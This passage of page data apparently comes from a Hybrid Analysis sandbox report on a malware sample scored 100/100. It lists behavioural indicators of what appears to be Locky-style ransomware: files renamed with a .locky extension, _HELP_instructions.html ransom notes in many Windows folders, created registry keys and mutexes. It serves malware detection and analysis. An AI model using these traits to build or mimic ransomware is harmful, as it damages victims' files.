Pictures\\32C0D883E1644D0A5682046E8D8E2822.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0A656057C667BB3418.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AF678001645E9E236.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A18AE98FD9409F227.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A2FBDD706F0BFA107.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A1A6003385A6F702E.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A85943D8CFC94DE0D.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A8FB35D94CA326BA7.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AD054476329FED1EC.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A6053758EE1669775.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A98C2674866479D19.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A9CDFEC67692FD1EE.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A1974220501C7D193.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A8CFBCDCA2A7033F2.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A0D850F881D83803D.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A2572ED6F074E29E8.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A58B3C8C519CFF54E.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A27A49108F8151FE4.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A53FB90FE8FCFFA0C.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AA794BC9F92587FD3.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A45F5608536EB643E.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A3B649052244F8EDA.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A06043BC34A239CB2.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AFA7FB049B97BBFA5.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A03844D89755D30E7.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AF4ED8758DC4B8802.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AA803F407012637AD.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AA5E79B5C0ED29CDC.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A9389BB51D791CBA8.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AE06CEEC19B67474E.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A6FC675E123681B3E.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A6E609174126277E3.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A60EAAA27FC82DC3B.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\32C0D883E1644D0A231304D90FE17765.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\32C0D883E1644D0A9B0D93F5D8CA9F02.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\32C0D883E1644D0A85317AAE34F6B61B.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\32C0D883E1644D0AC3B2C66CD616B55B.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\32C0D883E1644D0A52C2CBA57CCBC4DC.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\32C0D883E1644D0AD59C599B2D7CF439.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\32C0D883E1644D0A881885723901CB1A.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\32C0D883E1644D0A0DEB38F1C9BD35A8.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AB0EC0CD7AAB0BF21.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A24C05B2BB6DD506C.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0AC214410729BA2A58.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\User Account Pictures\\Default Pictures\\32C0D883E1644D0A646513A70A95D3C6.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\OFFICE\\DATA\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\32C0D883E1644D0A37B8678AB559D96B.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\32C0D883E1644D0A1FDCC09E7730D033.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\32C0D883E1644D0A55F23D52AD91825D.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\share.zip","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Videos\\Sample Videos\\32C0D883E1644D0A7AC883E3386581E5.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"key":"HKCU\\SOFTWARE\\1BSSQX05U34CRZ0\\","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}]}},"report_ids":{"sandbox_job_ids":["5723366baac2ed8161fd9d9e","5723316faac2edca2ffd9d9d"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 21f1e2615a53… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 21f1e2615a53…. Malware family: Trojan.Generic. Threat score 100/100. 22/26 AV engines flagged this file. 7 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 21f1e2615a53… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 21f1e2615a53…. Malware family: Trojan.Generic. Threat score 100/100. 22/26 AV engines flagged this file. 7 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 21f1e2615a53… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 21f1e2615a53…. Malware family: Trojan.Generic. Threat score 100/100. 22/26 AV engines flagged this file. 7 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L29","11",{}]]